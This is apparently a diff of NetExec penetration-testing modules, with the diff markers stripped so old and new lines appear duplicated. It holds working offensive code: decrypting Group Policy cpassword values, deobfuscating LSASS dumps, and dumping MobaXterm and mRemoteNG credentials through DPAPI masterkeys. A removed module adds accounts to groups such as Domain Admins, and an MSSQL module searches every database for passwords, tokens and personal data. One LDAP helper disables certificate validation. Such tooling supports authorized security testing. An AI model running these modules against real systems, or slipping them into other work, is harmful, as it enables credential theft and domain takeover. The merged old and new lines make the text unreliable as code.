sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+95 -70
View File
@@ -1,9 +1,8 @@
import ssl
import ldap3
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -99,25 +98,24 @@ class NXCModule:
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
self.context.log.fail(f"Failed to list shares: {e}")
context.log.fail(f"Failed to list shares: {e}")
return
self.context.log.display("Searching for GptTmpl.inf files")
context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
self.context.log.info(f"Found GptTmpl.inf: {path}")
context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -125,32 +123,22 @@ class NXCModule:
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
base_dn = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(connection)
base_dn = self.get_basedn(ldap_connection)
ldap_connection = self.initialize_ldap_connection(context, connection)
self.context.log.success(f"Privileges extracted from {path}:")
context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.close()
def get_basedn(self, ldap_connection):
root = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext"],
sizeLimit=0,
)
return parse_result_attributes(root)[0]["defaultNamingContext"]
ldap_connection.unbind()
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
@@ -171,64 +159,101 @@ class NXCModule:
return privileges
def initialize_ldap_connection(self, connection):
def initialize_ldap_connection(self, context, connection):
"""
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
ldap_connection = None
try:
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
def resolve_sid(self, sid, ldap_connection, base_dn):
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection:
if ldap_connection and ldap_connection.bound:
try:
resp = ldap_connection.search(
searchBase=base_dn,
searchFilter=f"(objectSid={sid})",
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
attributes=["sAMAccountName"],
)
parsed_result = parse_result_attributes(resp)
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except Exception as e:
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
else:
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
return sid
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
+11 -8
View File
@@ -126,17 +126,20 @@ class NXCModule:
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
bytes_in = bytearray(h_in.read())
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
h_out.write(bytes(chunk))
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
+1 -1
View File
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error running command: {e}")
context.log.fail(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+8 -9
View File
@@ -4,10 +4,10 @@
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -22,13 +22,12 @@ class NXCModule:
def on_login(self, context, connection):
try:
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value:
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
+2 -2
View File
@@ -67,7 +67,7 @@ class NXCModule:
session.get_session(
address=host,
target_ip=host,
port=connection.port,
port=445,
lmhash=lmhash,
nthash=nthash,
username=username,
@@ -187,7 +187,7 @@ class NXCModule:
context.log.fail(f"Error writing ticket {filename}: {e}")
if ticket_count > 0:
context.log.success(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
else:
context.log.display("No tickets were saved")
+1 -1
View File
@@ -26,7 +26,7 @@ class NXCModule:
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
ldap_response = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
if not entries:
+35 -7
View File
@@ -1,34 +1,62 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
-168
View File
@@ -1,168 +0,0 @@
import contextlib
import sys
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
from impacket.dcerpc.v5 import samr
from nxc.helpers.rpc import NXCRPCConnection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for adding/removing users to/from groups
Module by @termanix
"""
name = "modify-group"
description = "Modify the group membership of users and computers"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (at least one of):
GROUP Name of the group to add/remove the user to/from
USER Username of the account to modify
Optional:
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
Examples
--------
Adding a user to a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
Removing a user from a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
SMB/SAMR KNOWN LIMITATIONS:
- SAMR only supports modification of Global security groups.
Domain Local and Universal groups require the LDAP protocol.
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
Use LDAP instead.
"""
self.group = module_options.get("GROUP")
self.target_user = module_options.get("USER")
self.remove = module_options.get("REMOVE", "False").lower() == "true"
if not (self.target_user and self.group):
context.log.fail("USER and GROUP parameters are required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
if context.protocol == "smb":
self._modify_group_smb()
elif context.protocol == "ldap" and self.group:
self._modify_group_ldap()
def _modify_group_smb(self):
"""Modify group membership using SMB/SAMR protocol"""
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
if not dce:
return
# Get domain handle
try:
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
return
# Find the user RID
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target user not found: {self.target_user}")
else:
self.context.log.fail(f"Failed to find user RID: {e}")
return
# Find the group RID and open the group
try:
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target group not found: {self.group}")
else:
self.context.log.fail(f"Failed to find group: {e}")
return
# Modify group membership
if self.remove:
try:
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
else:
try:
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "STATUS_MEMBER_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
# Disconnect from DCE/RPC
with contextlib.suppress(Exception):
dce.disconnect()
def _modify_group_ldap(self):
"""Modify group membership using LDAP protocol"""
# Get the DN of the target user
resp = self._find_object_dn(self.target_user)
if not resp:
self.context.log.fail(f"Target user not found: {self.target_user}")
return
else:
target_user_dn = resp[0]["distinguishedName"]
# Get the DN of the target group
resp = self._find_object_dn(self.group)
if not resp:
self.context.log.fail(f"Target group not found: {self.group}")
return
else:
group_dn = resp[0]["distinguishedName"]
# Modify group membership
if self.remove:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "unwillingToPerform" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
else:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
def _find_object_dn(self, value):
"""Find the distinguished name (DN) of an object by sAMAccountName"""
resp = self.connection.ldap_connection.search(
searchFilter=f"(sAMAccountName={value})",
attributes=["distinguishedName"]
)
return parse_result_attributes(resp)
+52 -12
View File
@@ -1,10 +1,12 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -23,7 +25,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -40,7 +42,6 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -67,31 +68,70 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
self.share = connection.args.share
users = self.dploot_conn.list_users()
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
# Search for mRemoteNG files
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = self.dploot_conn.read_file(share=self.share, path=user_path)
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -112,7 +152,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
@@ -126,7 +166,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.list_dir(share=self.share, path=directory_path)
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -138,7 +178,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.read_file(share=self.share, path=new_path)
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
-58
View File
@@ -1,58 +0,0 @@
from impacket import tds
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module written by @Defte_"""
name = "mssql_cbt"
description = "Checks whether Channel Binding is enabled on the MSSQL database"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
self.logger = context.log
if not connection.encryption:
self.logger.highlight("TLS not required: Channel Binding Token NOT REQUIRED")
return
if connection.args.local_auth:
self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration")
return
new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName)
new_conn.connect(connection.args.mssql_timeout)
if connection.kerberos:
success = new_conn.kerberosLogin(
None,
connection.username,
connection.password,
connection.targetDomain,
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
connection.aesKey,
connection.kdcHost,
None,
None,
connection.use_kcache,
cbt_fake_value=b""
)
else:
success = new_conn.login(
None,
connection.username,
connection.password,
connection.targetDomain,
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
not connection.args.local_auth,
cbt_fake_value=b""
)
if success:
self.logger.highlight("Connection successful: Channel Binding Token NOT REQUIRED")
else:
self.logger.highlight("Connection failed: Channel Binding Token REQUIRED")
new_conn.disconnect()
+2 -2
View File
@@ -3,10 +3,10 @@ from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Made by @lodos2005"""
"""Execute arbitrary SQL commands on the target MSSQL server"""
name = "mssql_coerce"
description = "Execute SQL commands To interact with a specified LISTENER for coercion/exfiltration"
description = "Execute arbitrary SQL commands on the target MSSQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
-147
View File
@@ -1,147 +0,0 @@
import json
import datetime
import os
from pathlib import Path
import re
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
"""MSSQL Dumper v1 - Created by LTJAX"""
name = "mssql_dumper"
description = "Search for Sensitive Data across all databases"
supported_protocols = ["mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
SHOW_DATA Display the actual row data values of the matched columns (default: True)
REGEX Semicolon-separated regex(es) to search for in **Cell Values**
LIKE_SEARCH Comma-separated list or filename of column names to specifically look for
USE_PRESET Use a predefined set of regex patterns for common PII (default: True)
SAVE Save the output to sqlite database (default: True)
"""
self.regex_patterns = []
self.show_data = module_options.get("SHOW_DATA", "true").lower() in ["true", "1", "yes"]
regex_input = module_options.get("REGEX", "")
for pattern in regex_input.split(";"):
pattern = pattern.strip()
if pattern:
try:
self.regex_patterns.append(re.compile(pattern))
except re.error as e:
context.log.fail(f"[!] Invalid regex pattern '{pattern}': {e}")
like_input = module_options.get("LIKE_SEARCH", "")
if os.path.isfile(like_input):
with open(like_input) as f:
self.like_search = [line.strip().lower() for line in f if line.strip()]
else:
self.like_search = [s.strip().lower() for s in like_input.split(",") if s.strip()]
self.use_preset = module_options.get("USE_PRESET", "true").lower() in ["true", "1", "yes"]
self.save = module_options.get("SAVE", "true").lower() in ["true", "1", "yes"]
def pii(self):
"""Common personally identifiable information (PII) keywords to search for in column names"""
return ["access_token", "account_number", "address", "allergies", "alt_email", "annual_salary", "apartment",
"api_key", "auth_code", "auth_token", "bank_account", "bank_code", "bank_id", "bank_name", "bic",
"billing_address", "birth_date", "blood_type", "card_exp", "card_number", "cardholder_name", "cc_exp_month",
"cc_exp_year", "cc_number", "ccv", "city", "compensation", "contract_number", "country", "credit_card_expiry",
"credit_card_hash", "credit_card_number", "credit_card", "creditcard", "cvv", "cvv2", "date_of_birth",
"debit_card", "diagnosis", "dl_number", "dob", "drivers_license", "ein", "email_address", "email",
"emergency_contact", "employee_id", "employment_status", "expiration_date", "expiry_date", "fax", "first_name",
"full_name", "gender", "health_id", "house_number", "iban", "income", "insurance_id", "insurance_number",
"invoice_id", "invoice_total", "job_title", "last_name", "legal_entity", "legal_name", "location", "login_token",
"maiden_name", "medical_record", "medication", "mfa_secret", "middle_name", "mobile", "national_id", "nickname",
"nin", "old_password", "order_amount", "order_id", "order_total", "otp_secret", "passport_number", "passwd_hash",
"passwd", "password_hash", "password_plaintext", "password_salt", "password", "patient_id", "payment_status",
"payment_token", "paypal_email", "phone_number", "phone", "phonenumber", "pin_code", "pin", "position",
"prescriptions", "recovery_key", "refresh_token", "region", "reset_token", "routing_number", "salary", "secret_key",
"security_answer", "security_code", "security_pin", "security_question", "session_token", "session", "sessionid",
"social_security_number", "ssn_hash", "ssn", "state", "street", "tax_id", "temp_password", "tin", "token",
"treatment", "user_credential", "user_name", "user_pass", "user_password", "user_secret", "user_token", "username",
"zip", "zipcode"]
def on_login(self, context, connection):
all_results = []
databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases")
if connection.conn.lastError:
context.log.fail(f"Failed to retrieve databases: {connection.conn.lastError}")
return
for db in databases:
db_name = db.get("name") or db.get("", "")
if db_name.lower() in ("master", "model", "msdb", "tempdb"):
continue # skip system DBs
context.log.display(f"Searching database: {db_name}")
connection.conn.sql_query(f"USE [{db_name}]")
# get all tables in this DB
tables = connection.conn.sql_query("SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'")
for table in tables:
